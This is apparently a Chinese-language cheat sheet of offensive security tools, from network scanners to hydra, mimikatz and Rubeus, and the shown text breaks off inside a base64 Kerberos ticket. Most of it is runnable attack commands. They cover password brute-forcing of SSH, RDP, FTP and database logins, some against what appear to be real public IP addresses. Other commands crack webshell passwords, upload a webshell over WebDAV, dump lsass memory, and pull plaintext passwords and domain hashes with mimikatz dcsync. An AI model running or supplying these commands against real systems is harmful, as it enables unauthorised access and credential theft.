渗透工具汇总

nmap

常用参数

-Pn : 跳过主机存活检测,探测端口开放情况(默认主机存活,对所有指定网段或主机进行扫描)
-sS :基于tcp三次握手的syn扫描(隐匿)
-sV : 探测打开的端口以确定服务和版本信息
-sSV : -sS -sV
-V : 打印版本号
-A : 综合扫描(所有的事情都会做一遍)
-p : 指定端口探测
-p-:所有端口
-p80,445:指定端口
-p1000-2000:指定端口的范围
-T : 扫描速度的设置,一般用T4,越高越快
-F : 快速扫描,对常用的端口进行扫描
-oN : 标准输出
-sP :ping扫描(不进行端口扫描)如果对方开启了防火墙,则-sP没用

常用命令

nmap 192.168.60.0/24    			//扫描D段
nmap -sP 192.168.60.0/24    		//ping扫描D段
nmap -sT -Pn 192.168.22.0/24 -p80   //跳过ping扫描D段

nmap -A 192.168.1.103 -p 0-65535    //全部信息扫描
nmap -sS 192.168.1.103 -p 1-1000    //SYN半连接扫描,相对来说稳定而且快,指定端口1-1000
nmap -Pn -sT 192.168.22.129 --script=all   //跳过ping扫描

nmap -sC -sV -p 80,3306 192.168.1.103 -o 192.168.1.103.txt   //特定端口详细信息扫描

nmap --interactive  //nmap提权,要有nmap文件夹


nmap 192.168.22.129 -sC   //漏洞探测,会对所有的脚本进行探测(-sC相当于--script=defaults)	
nmap 192.168.22.129 --script=smb2-time.nse  //指定脚本探测

masscan

nmap的下位替代,扫描全端口很快

masscan 192.168.111.9 -p1-65535 

fscan

单独总结

Netdiscover

基于ARP的网络扫描工具,这款工具的主要用途是通过协议,判断IP地址是否被使用,从而发现网络中存活的主机

常用参数

-i device 网络接口
-r range 扫描范围,例如192.168.0.0/24,仅支持/8, /16和/24
-l file 扫描范围列表文件,每行一个范围
-p 被动模式:不发生任何报文,仅嗅探
-m file 扫描已知Mac地址和主机名的列表文件
-F filter 自定义pcap filter表达式(默认“arp”)
-s time 每个ARP请求间的休眠时间(毫秒,默认1ms)
-c count 发送每个ARP请求的次数,用于丢失数据包的网络,默认1次
-n node 扫描最后的源IP,默认为67(x.x.x.67),允许范围为2-253
-d 忽略自动扫描和快速模式的主配置文件,扫描默认的范围和IP
-f 启用快速模式扫描,扫描每个网段的.1、.100 和 .254
-P 产生输出到文件或者其他解析程序,扫描完成后退出,例如:`netdiscover -P -r 192.168.20.0/16
-L 与-P类似,但在主动扫描后继续捕获ARP包
-N 不打印表头,仅在-P 或者-L启用时有效
-S 已弃用

常用命令

netdiscover -i ens38                        //扫描指定接口
netdiscover -i eth0 -r 192.168.54.0/24      //扫描指定范围
netdiscover -i ens38 -r 192.168.0.0/16 -p   //被动扫描,仅嗅探
netdiscover -i ens38 -f  					//快速扫描

arp-scan

arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。

arp是什么?

地址解析协议,其基本功能为==透过目标设备的IP地址,查询目标设备的MAC地址==,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,是根据IP地址获得物理地址MAC的一个TCP/IP协议。通过ARP,在局域网可以很容易构成一个ARP欺骗,从而得到有用数据信息。

指令介绍

参数名	参数含义	使用示例
-f	从指定文件中读取主机名或地址	arp-scan -f ip.txt
-l	从网络接口配置生成地址	arp-scan -l
-i	各扫描之间的时间差	arp-scan -l -i 1000
-r	每个主机扫描次数	arp-scan -l -r 5
-V	显示程序版本并退出	arp-scan -l -V
-t	设置主机超时时间	arp-scan -t 1000 192.168.75.0/24
-L	使用网络接口	arp-scan -L eth0
-g	不显示重复的数据	arp-scan -l -g
-D	显示数据包往返时间	arp-scan -l -D

轻量级扫描工具,用来扫描局域网的主机还是挺好用的,由于扫描的少,所以扫描速度比较快,可以很快的查看到局域网有哪些主机和对应的MAC地址,配合nmap一起使用有奇效

dirb

dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站

常用参数

格式:dirb <url_base> [<wordlist_file(s)>] [options]

-a 设置user-agent

-p proxy:port设置代理

-c 设置cookie

-z 添加毫秒延迟,避免洪水攻击

-o 输出结果

-X 在每个字典的后面添加一个后缀

-H 添加请求头

-i 不区分大小写搜索

常用命令

dirb http://192.168.1.116/ /usr/share/wordlists/dirb/big.txt 
dirb http://192.168.1.116/  -X .php -z 100 -o test.txt  //添加.php后缀,并延迟100ms,保存输出
dirb http://192.168.1.116/  -p 46.17.45.194:5210         //使用代理

dircsearch

这是一个基于 Python 的命令行网站目录扫描器,旨在暴力破解站点结构,包括目录和文件。

dirb相对更快更轻便,但我觉得还是dirsearch更好用一点,实战优先用dirsearch

常用参数

-u URL, --url=URL URL target。
-L URLLIST, --url-list=URLLIST。
                    目标URL列表
-e EXTENSIONS, --extensions=EXTENSIONS。
                    扩展名列表用逗号隔开(例如:php,asp)
-E, --extensions-list
                    使用预定义的通用扩展列表

词典设置。
-w WORDLIST,--wordlist=WORDLIST。
-l, -小写
-f, --Force-extensions(强制扩展)
                    强制扩展每个词表条目(比如在
                    DirBuster)

一般设置。
-s DELAY, --delay=DELAY。
                    请求之间的延迟(浮点数)
-r,--递归式
-R RECURSIVE_LEVEL_MAX, --递归级别-max=RECURSIVE_LEVEL_MAX。
                    最大递归级别(子目录)(默认:1 [仅适用于
                    rootdir + 1 dir])
--压制-空,--压制-空。
--扫描-子目录=SCANSUBDIRS, --扫描-子目录=SCANSUBDIRS。
                    扫描给定的-u|--url的子目录(以-u|--url分隔)。
                    逗号)
--exclud-subdir=EXCLUDESUBDIRS, --exclud-subdirs=EXCLUDESUBDIRS。
                    在递归过程中排除以下子目录。
                    扫描
-t THREADSCOUNT, --threads=THREADSCOUNT。
                    线程数
-x EXCLUDESTATUSCODES,--exclud-status=EXCLUDESTATUSCODES。
                    排除状态代码,用逗号隔开(例如。301,
                    500)
--exclud-texts=EXCLUDETEXTS。
                    以文本排除答复,用逗号隔开。
                    (例如:"找不到"、"错误")
--exclud-regexps=EXCLUDEREGEXPS。
                    通过regexps排除响应,用逗号隔开。
                    (例如:"Not foun[a-z]{1}", "^Error$")
-c COOKIE, --cookie=COOKIE。
--ua=USERAGENT,--user-agent=USERAGENT。
-F, --follow-redirects.
-H HEADERS, --header=HEADERS。
                    要添加的头信息(例如:--header "Referer:
                    example.com" --header "User-Agent: IE"
--随机代理,--随机用户代理。

连接设置:
--timeout=TIMEOUT 连接超时。
--ip=IP 将名称解析为IP地址。
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY。
                    Http代理(例如:localhost:8080)
--http-method=HTTPMETHOD
                    使用的方法,默认。GET,也可以是: HEAD;POST
--max-retries=MAXRRETIES
-b, --request by hostname(按主机名请求)
                    默认情况下,dirsearch会以IP为单位进行请求以提高速度。
                    这就强制按主机名请求

输出报告:
--simple-report=SIMPLEOUTPUTFILE。
                    只找到路径
-纯文本-报告=PLAINTEXTOUTPUTFILE。
                    找到状态码的路径
--json-report=JSONOUTPUTFILE。

常用命令

简单使用

dirsearch -u https://192.168.1.116/
dirsearch -e php,html,js -u https://192.168.1.116/
dirsearch -e php,html,js -u https://192.168.1.116/ -w /path/to/wordlist
dirsearch -u https://192.168.1.116/  -e *

以简单格式保存输出

dirsearch -u http://testphp.vulnweb.com/ --simple-report=report

常见文件后缀

beifen.rar
beifen.zip
beifen.7z
beifen.tar
beifen.tar.gz
beifen.bak
beifen.txt
beifen.phps (用于浏览器查看php文件内容)
beifen.swp(vim产生的临时文件,第二次是.swo,注:其文件前有个点,如文件名为index产生的临时文件为.index.swp)
~ (在文本编辑时产生的备份文件)

hydra(重中之重)

常用参数

语法:Hydra 参数 IP 服务

参数:
-l  小写,指定用户名进行破解
-L  大写,指定用户的用户名字典
-p  小写,用于指定密码破解,很少使用,一般采用密码字典。
-P  大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-C  用户名可以用:分割(username:password)可以代替-l username -p password 
-M  指定目标ip列表文件,批量破解。
-o  指定结果输出文件
-f  找到第一对登录名或者密码的时候中止破解。
-t  同时运行的线程数,默认是16
-w  设置最大超时时间,单位
-v / -V 显示详细过程
-s  指定端口
-R  恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x  自定义密码。

service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。
注意:
1.自己创建字典,然后放在当前的目录下或者指定目录。
2.参数可以统一放在最后,格式比如hydra ip 服务 参数。
3.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。
4.缺点,如果目标网站登录时候需要验证码就无法破解。
5.man hydra最万能。
6.或者hydra -U http-form等查看具体帮助。

常用命令

1、破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
hydra -l root -P password.txt 192.168.1.111 ssh

hydra -M SSH.txt -o ssh--nw-output.txt -L userNameDict/极简.txt -P passwordDict/某集团下发的弱口令字典.txt -vV -f -e ns -t 50 ssh


hydra -M 4IDC.txt -l 'root -p 'qwe123!@#'  -s 10022 -t 200 ssh -o result.txt -vV
hydra  192.168.111.3 ssh -l root -P test.txt  -vV -f
hydra telnet -M telnet.txt -o telnet-output.txt   -L 极简.txt -P keyboard_all.txt   -vV -f -e ns -t 30
hydra ssh -M ssh.txt -o ssh-output.txt   -L 极简.txt -P keyboard_all.txt   -vV -f -e ns -t 50
hydra ftp -M ftp.txt -o ftp-output.txt   -L 极简.txt -P keyboard_all.txt   -vV -f -e ns -t 30
hydra pop3 -M pop.txt -o pop-output.txt   -L 极简.txt -P keyboard_all.txt   -vV -f -e ns -t 30
hydra -l muts -P keyboard_all.txt  my.pop3.mail pop3  -vV -f -e ns -t 30

hydra  -l root -P 某集团下发的弱口令字典.txt   -vV  ssh 81.69.177.105 -s 22333 

hydra -l root -P 某集团下发的弱口令字典.txt -s 22333  -vV ssh 81.69.177.105

hydra -L userNameDict/常用用户名.txt -P passwordDict/简单密码600.txt 172.29.110.15  ssh -vV -f -e ns 

hydra  172.29.101.11 ssh -l root -P   -vV -f
hydra  192.168.111.3 ssh -L fuzzDicts/userNameDict/极简.txt -P password_brute/键盘组合/keyboard_top500.txt  -vV -f -t 50
hydra  172.29.105.111 telnet -l root -P 某集团下发的弱口令字典.txt -vV  -t 50 -e ns -o telnet-output.txt
172.29.150.200:8899
hydra -L ftp-user.txt -P ftp-pass.txt 172.29.106.11  ftp -vV -f -e ns -t 50
passwordDict/ServiceWeakPass/ftp弱口令/ftp-pass.txt passwordDict/ServiceWeakPass/ftp弱口令/ftp-user.txt

2、破解ftp:

空口令:anonymous 密码为空

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra 172.29.107.12 ftp -l root -P top500.txt -t 20 -vV
hydra 172.29.106.11 ftp -L userNameDict/test.txt -P passwordDict/top1000.txt -t 20 -vV

3、爆破http:

( http-get or http-form-post.)

hydra -l admin -P password.txt 192.168.1.111 http-get /login.php

hydra -l admin -P password.txt 192.168.213.135 http-form-post "/dvwa/login.php:user=^USER^&pass=^PASS^:<title>invalide</title"

【注】(user,pass改为账户密码提交表单的值)

4、get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

5、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"

hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"

hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解

6、破解https:

hydra -m /index.php -l muts -P pass.txt IP https
hydra -m /index.php -l username -P pass.txt IP https

7、破解teamspeak:

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

8、破解cisco:

hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt IP cisco-enable

9、破解smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb

10、破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

11、破解rdp:(3389,重要)

hydra ip rdp -l administrator -P pass.txt -V
hydra -l Administrator -P password.txt rdp://192.168.1.111  -F
hydra -l administrator -P password.txt rdp://192.168.1.111  -F

12、破解http-proxy:

hydra -l admin -P pass.txt http-proxy://IP

13、破解imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

14、破解telnet:

hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

hydra 192.168.0.100 -o telnet-nw-output.txt -L userNameDict/极简.txt -P passwordDict/某集团下发的弱口令字典.txt -vV -f -e ns -t 50 telnet

15、爆破mysql

hydra -l root -P /root/pentest/passwd.txt mysql://192.168.0.100 -f -o /root/pentest/mysql.txt -V
hydra -L userNameDict/极简.txt -P passwordDict/简单密码600.txt mysql://1.14.108.193 -f -V
hydra -l root -P password.txt 192.168.111.8 mysql

16、爆破sql server

(前提是目标的mysql可远程访问)

hydra -l sa -P password.txt 192.168.1.111 mssql

17、爆破webdav

hydra -L 1.txt -P 1.txt 192.168.245.135 http-get /webdav

cheetah

Cheetah是一款基于字典的webshell密码爆破工具,Cheetah的工作原理是能根据自动探测出的web服务设置相关参数一次性提交大量的探测密码进行爆破,爆破效率是其他普通webshell密码暴力破解工具上千倍。

常用参数

参数说明:

  • -h, –help 显示帮助信息并退出
  • -i, –info 显示程序信息并退出
  • -v, –verbose 启用详细输出模式(默认禁用)
  • -c, –clear 去重字典文件(默认禁用)
  • -up, –update 更新cheetah
  • -r , –request 指定请求方式(默认POST方式)
  • -t , –time 指定请求间隔时间(默认0秒)
  • -w , –webshell 指定webshell类型(默认自动探测)
  • -s , –server 指定web服务器名称(默认自动探测)
  • -n , –number 指定一次请求参数数量(默认自动设置)
  • -u , –url 指定webshell url地址
  • -b , –url-file 指定批量webshell urls文件
  • -p file [file …] 指定多个字典文件(默认使用data/pwd.list)

常用命令

python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p pwd.list
python cheetah.py -u http://orz/orz -w aspx -s apache -n 1000
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v

爆破一句话密码

1、爆破php一句话

python3 cheetah.py -u http://www.yijuhua.com/a.php -n 1000 -v -p data/pwd.list

2、爆破asp一句话

python3 cheetah.py -u http://www.yijuhua.com/a.asp -n 1000 -v -p data/pwd.list

3、爆破aspx一句话

python3 cheetah.py -u http://www.yijuhua.com/a.asp -n 1000 -v -p data/pwd.list

在成功获取到一句话密码后,即可通过蚁剑或菜刀连接即可。

john

https://cloud.tencent.com/developer/article/1937044

John the Ripper是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文

  • 可执行文件位置: /usr/sbin/john
  • 密码字典所在目录:/usr/share/john/

使用

在桌面创建一个1.txt,并且将hsah值放入

然后

john 

searchsploit

kali的poc新地址:https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main/bin-sploits/

是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。

Exploit-DB是一个漏洞库,kali中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用

searchsploit joomla 3.7.0

查看路径:/usr/share/exploitdb/exploits/+查到的

比如这里,cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

image-20230805161215924

cewl

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。

常用参数

-k, –keep:保存下载文件。

-d , –depth :爬行深度,默认2。

-m, –min_world_length:最小长度,默认最小长度为3。

-o, –offsite:允许爬虫访问其他站点。

-w, –write:将输出结果写入到文件。

-u, –ua :设置user agent。

-n, –no-words:不输出字典。

–with-numbers:允许单词中存在数字,跟字母一样。

-a, –meta:包括元数据。

–meta_file file:输出元数据文件。

-e, –email:包括email地址。

–email_file :输入邮件地址文件。

–meta-temp-dir :exiftool解析文件时使用的临时目录,默认是/temp。

-c, –count:显示发现的每个单词的数量。

-v, –verbose:verbose。

–debug:提取调试信息。

常用命令

生成指定长度的密码字典,你可以使用-m选项来设置:

cewl http://www.ignitetechnologies.in/ -m 9 -w passwd.txt

从网站中获取Email,你可以使用-e选项来启用Email参数,并配合-n选项来隐藏工具在爬取网站过程中生成的密码字典:

cewl http://www.ignitetechnologies.in/ -n -e -w passwd.txt

增加爬取深度,如果你想增加爬虫的爬取深度以生成更大的字典文件,你可以使用-d选项来指定爬取深度,默认的爬取深度为2:

cewl http://www.ignitetechnologies.in/ -d 3 -w passwd.txt

生成包含数字和字符的字典

cewl http://testphp.vulnweb.com/ --with-numbers -w passwd.txt

如果目标网站需要进行页面登录认证的话,我们就要使用下列参数来绕过页面认证的限制:

cewl http://192.168.1.105/dvwa/login.php --auth_type basic --auth_user admin--auth_pass password -v -w passwd.txt

cewl http://192.168.1.105/dvwa/login.php --auth_type Digest --auth_user admin--auth_pass password -v -w passwd.txt

计算网站中单词出现的次数

cewl http://www.baidu.com/ -c

使用–proxy option选项来启用代理URL功能:

cewl --proxy_host 192.168.1.103 --proxy_port 3128 -w dict.txt http://192.168.1.103/wordpress/

wfuzz

Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。

常用参数

主库的接口:fuzz, payload, session

--hc 	过滤状态码
--sc 	需要显示的状态码
-c 		带颜色显示
-w		指定使用字典
-z 		设置payload 【比如:字典】
-z 	file,1.txt(以文件形式,导入1.txt)
-z 	range,1-10(以范围形式,1到10)
-z 	list,1-2-3-10(列表形式,1,2,3,10)
-t 		设置线程 默认10
-s 		请求间隔时间
-d 		设定POST量
-d 	“uname=admin&passwd=admin”
-b 		设定cookie量
-b 	“cookie=”
-H 		参数来指定HTTP请求的请求头,多次指定多次使用。
-H 	“User-Agent: firfox”
-f 		输出到文件的格式,格式有raw,json,csv,magictree,html
-f 	/tmp/1,html (将结果输出到tmp目录下的1,以html格式)
-X 		设定请求方法
-X 	GET
-R 		递归深度,探测目录很好
递归深度为1也就是说当发现某一个目录存在的时候,在存在目录下再递归一次字典。
-R 	1(深度为1)

显示或隐藏信息 使用 –hc –hl –hw –hh 可以隐藏相应结果

--hc 503	隐藏响应码为503的
--hl 20		隐藏响应信息行数为20行的
--hw 30		隐藏响应信息中字数为30的
--hh 50		隐藏响应信息中字符数为50的

使用 --sc --sl --sw --sh 可以特别显示相应结果
--sc 405:显示响应码405

常用命令

爆破目录

wfuzz -w wordlist URL/FUZZ

多个字典

使用-z 或-w 参数可以同时指定多个字典,这时相应的占位符应设置为 FUZZ,FUZ2Z,FUZ3Z,….,FUZnZ, 其中n代表了占位序号。想要同时爆破目录、文件名、后缀,可以这样:

wfuzz -w 目录字典路径 -w 文件名字典路径 -w 后缀名字典路径 URL/FUZZ/FUZ2Z.FUZ3Z

测试POST请求

如果想使用wfuzz测试form-encoded的数据,POST请求正文为:username=&password=,只需要传入-d参数即可:

wfuzz -z file,/usr/share/wfuzz/wordlist/others/common_pass.txt -d "uname=FUZZ&pass=FUZZ" --hc 302 http://testphp.vulnweb.com/userinfo.php`

wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php

遍历枚举测试URL中参数值 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息

uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:

wfuzz -z range,000-999 --hl 20 http://127.0.0.1/getuser.php?uid=FUZZ

mimikatz

可以提升进程权限注入进程读取进程内存,当然他最大的亮点是他可以直接从 lsass中获取当前处于Active系统的登录密码

常用参数

cls:       清屏
standard:  标准模块,基本命令
crypto:    加密相关模块
sekurlsa:  与证书相关的模块
kerberos:  kerberos模块
privilege: 提权相关模块
process:   进程相关模块
serivce:   服务相关模块
lsadump:   LsaDump模块
ts:        终端服务器模块
event:     事件模块
misc:      杂项模块
token:     令牌操作模块
vault:     Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi:     DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv:    系统环境值模块
sid:       安全标识符模块
iis:       IIS XML配置模块
rpc:       mimikatz的RPC控制
sr98:      用于SR98设备和T5577目标的RF模块
rdm:       RDM(830AL)器件的射频模块
acr:       ACR模块
version:   查看版本
exit:      退出

常用命令

可以在cs上了beacon之后的命令行里面直接运行

[+]普通管理员权限可以执行的命令(密码查询与权限检测与日志记录)

抓取目标机器的账号和明文密码:
logonPasswords
sekurlsa::logonPasswords

获取本地用户信息及密码
wdigest
sekurlsa::wdigest

获取tspkg用户信息及密码
tspkg
sekurlsa::tspkg

提升权限
debug
privilege::debug

列出系统的核心模块及所在位置
modules
process::modules

查看ntds.dit与sam文件的信息
lsadump::lsa /inject 

[+]域控权限才能执行的命令:

输出指定用户的密码信息
lsadump::dcsync /domain:test.com /user:krbtgt 

列出域内所有用户的账号密码
lsadump::dcsync /domain:test.com /all /csv 

procdump

#拉出lsass的内存并保存成文件
procdump.exe -accepteula -ma lsass.exe lsass.dmp

#破解内存中的密码
sekurlsa::minidump lass.dmp
sekurlsa::logonpasswords

有时候域管理员会禁用cmd等命令,这时候我们可以使用mimikatz进行恢复

privilege::debug
misc::cmd
misc::regedit
misc::taskmgr

crunch

常用参数

min 设定最小字符串长度(必选) max 设定最大字符串长度(必选)

options -b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数 -d 限制相同元素出现的次数 -e 定义停止字符,即到该字符串就停止生成 -f 调用库文件(/etc/share/crunch/charset.lst) -i 改变输出格式,即aaa,aab -> aaa,baa -I 通常与-t联合使用,表明该字符为实义字符 -m 通常与-p搭配 -o 将密码保存到指定文件 -p 指定元素以组合的方式进行 -q 读取密码文件,即读取pass.txt -r 定义重某一字符串重新开始 -s 指定一个开始的字符,即从自己定义的密码xxxx开始 -t 指定密码输出的格式 -u 禁止打印百分比(必须为最后一个选项) -z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z

特殊字符

% 代表数字 ^ 代表特殊符号 @ 代表小写字母 , 代表大写字符

常用命令

生成长度为1-4的数字密码,将结果输出到password1.txt中 
crunch 1 4 1234567890 -o password1.txt  
crunch 1 4 % -o password1.txt

生成一个字典库 (5位的6个小写字母的随机排列组合,可以生成67 MB这么大的字典文件)
crunch 5 5 -b 20mib -o START

通过-l参数来使@,%^等特殊字符输出(-l 表明只有@是实体字符的一部分)
crunch 7 7 -t p@ss,%^ -l a@aaaaa

生成pass01-pass99所有数字组合
crunch 6 6 -t pass%%  >>newpwd.txt 

生成六位小写字母密码,其中前四位为pass
crunch 6 6 -t pass@@  >>newpwd.txt 

制作8位数字字典
crunch 8 8 charset.lst numeric -o num8.dic

生成几个元素的组合(可以用于社工中收集的信息)
crunch 4 4 -p zhangsan 2018 0101

多种组合 生成3个元素的组合,前三位为定义的字符串(前三位是aaa或者bbb,后两位是小写字母和数字)
crunch 3 3 -t d@% -p aaa bbb 

-o参数也可使用>>来简化
crunch 4 4 -d 2@ -t @@@% >> test.txt

生成5位密码,格式为小写字母+数字+符号+大写字母+数字,并以 @4#e4开始,分割为10k大小
crunch 5 5 -t @%^,% -s @4#e4 -b 10kib -o 1.txt

密码库:/usr/share/crunch/charset.lst
调用密码库 charset.lst中的 hex-upper项目字符,生成4位密码,其中格式为@ + hex-upper +% +%
crunch 4 4 -f charset.lst hex-upper -t @@%% -l @xdd

WeblogicScaner

漏洞扫描

常用参数

usage: ws.py [-h] -t TARGETS [TARGETS ...] -v VULNERABILITY
             [VULNERABILITY ...] [-o OUTPUT]

optional arguments:
  -h, --help            帮助信息
  -t TARGETS [TARGETS ...], --targets TARGETS [TARGETS ...]
                        直接填入目标或文件列表(默认使用端口7001). 例子:
                        127.0.0.1:7001
  -v VULNERABILITY [VULNERABILITY ...], --vulnerability VULNERABILITY [VULNERABILITY ...]
                        漏洞名称或CVE编号,例子:"weblogic administrator console"
  -o OUTPUT, --output OUTPUT
                        输出 json 结果的路径。默认不输出结果
  -s, --ssl             强制使用 https 协议请求

常用命令

python ws.py -t 192.168.124.129:7001

cadaver

连接webdav的工具

常用命令

用hydra爆破成功webdav之后,可以用cadaver上传shell

cadaver http://192.168.245.135/webdav    //连接

put webshell.php   //上传shell

wpscan

wpscan是一款专业针对WordPress安全扫描仪,学着用下

wpscan --url url进行信息扫描

wpscan --url url -e u用户名枚举

爆破密码

wpscan --url http://dc-2 -U u.txt -P aa.txt

wfuzz

https://blog.csdn.net/JBlock/article/details/88619117

Rubeus

Rubeus是由国外安全研究院harmj0y用C#编写的针对Kerberos协议进行 攻击的工具,可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了 大量的用于Kerberos攻击的功能,比如TGT请求/ST请求/AS-REP Roasting攻击/ Kerberoasting攻击/委派攻击/黄金票据/白银票据等。

申请TGT

asktgt模块用于请求TGT,可以使用明文/密码哈希(DES加密和RC4加密),
AES Key(AES128和AES256)进行认证,可以将TGT以base64打印出来。
astgt参数说明:
	请求的用户名
	/user:xxx		
	请求凭据的格式,可以是明文密码/DES加密的Hash/NTLM Hash/AES128 AES256等
	password:明文密码
	/rc4:hash
	请求的域名
	/domain:xxxx
	输出到文件
	/outfile:file Name
	将票据导入内存中
	/ptt
	将生成的票据用于指定登录会话(需要管理员权限)
	/luid
	打印出来的base64格式票据显示
	/nowrap
	票据中不请求PAC
	/nopac
请求示例:
明文密码请求TGT以base64格式打印并且注入到内存中:
Rubeus.exe asktgt /user:administrator /password:Password123 /nowrap /ptt

明文密码请求TGT以base64格式打印注入到内存中并导出票据为文件tgt.kirbi: Rubeus.exe asktgt /user:administrator /password:Password123 /nowrap /ptt /oufile:tgt.kirbi

NTLM密码Hash请求TGT以base64格式打印并且注入到内存中: /ntlm默认是rc4 Rubeus.exe asktgt /user:lisi /ntlm:4c25ed57e37131073192a98148fbc30f /nowrap /ptt /outfile:lisi.kirbi

Rubeus.exe asktgt /user:lisi /rc4:4c25ed57e37131073192a98148fbc30f /nowrap /ptt /outfile:lisi.kirbi

申请ST

Rubeus使用asktgs模块申请ST,需要提供一张TGT可以是base64格式也可以是kirbi结尾的票据文件。
asktgs参数:
	/ticket:TGT base64或者TGT票据文件
	/service:请求的服务名1,请求的服务名2
	/enctype:DES|RC4|AES128|AES256加密类型
	/dc:域控
	/outfile:导入TGS票据名
	/ptt:将票据导入到内存中
	/nowrap:将TGS以base64打印出来
	/tgs:可以指定base64或者票据文件
例子:
	这里以及BanGong-A1机器账号hash请求自身cifs服务
	ntlm hash请求机器账号TGT
	Rubeus.exe asktgt /user:BanGong-A1$ /rc4:960d8fcefe73e25402cbb9adb8f4c3ad /nowrap /outfile:BanGong-A1$.kirbi
请求自身cifs服务以base64格式导入TGT
base方式:
Rubeus.exe asktgs /service:cifs/BanGong-A1.test.com /nowarp /outfile:cifs.BanGong-A1$.kirbi /ticket:doIE2DCCBNSgAwIBBaEDAgEWooID9jCCA/JhggPuMIID6qADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbaOCA7YwggOyoAMCARKhAwIBAqKCA6QEggOgqXICa8bs8hg2Y/T2i54K7Qg/v8k7Q9IAO+vQf29RadwBpWG5oKUuInx/oqjW25hVWdQawm5o5sWnA6THSyHTxuuKJAulsc+OpHfJpIVM4370IYHrSvkuk/3pdSQzMQf0KDNpjfDykbe+Di5i2sIqzFfBCr4qSDX6Ly6h7WTMZAw16zeJ8bgO0Dq07DctSoLR03F+16ZrRdiq9SIBf1t8Pv9zmIirU7LCNXXDYtN0s4ZeTiGfW/aeyYhj4TRTaU8aoTnLb5mChumEAgLXPIrA2XUDoQov+NV0mJt0cyVrf2Vg4RVZLMtI7/QpSDsDw7EOo0YGImICc2sRYv5XTQfUdqoYGy/DW4QmEa5WC9O2ilqyndzpcRyki0+jcBN8xAhRdzHeGeCtTdHQ+Iooe1uM1Zl3BaVHgOoLgCNpb97trtIE6EteGahy4sGJsWzlULX4/9V0T0cFdFjz2nFPwR+W75voK+LXHjO4S7keTOyHeWn2CTstwC46EgqlW1+RzBgNgCRoXHLebJ0CH5jG1WYs5x4WEg1/xMBjNIZkBvuYAlBW5NlINXXJ0y7YoQ+lYzNdTHvnkj6uEwI+DIqsbePhl+rMaWbOuD4dgck0HaVtuOUaVox7yr1LwGaCMNL7UErGpT0vvdF9AvDpgj78dUjx3+rSpKNwfe2OPUTFfCNiCLRfiIzeH2ichrSz88A/4Y+AcDjc9DSRntUcDJtWp00iOmRsbh3p9Hpvmi0yDEAwM/hftenYxpJV5EoDuDcSMi0SUz/PJO9xxD3wm3hRm7C/zDWCxzsFKCDQElKpluOTv5ijkJi45bSVFR79BUiI06J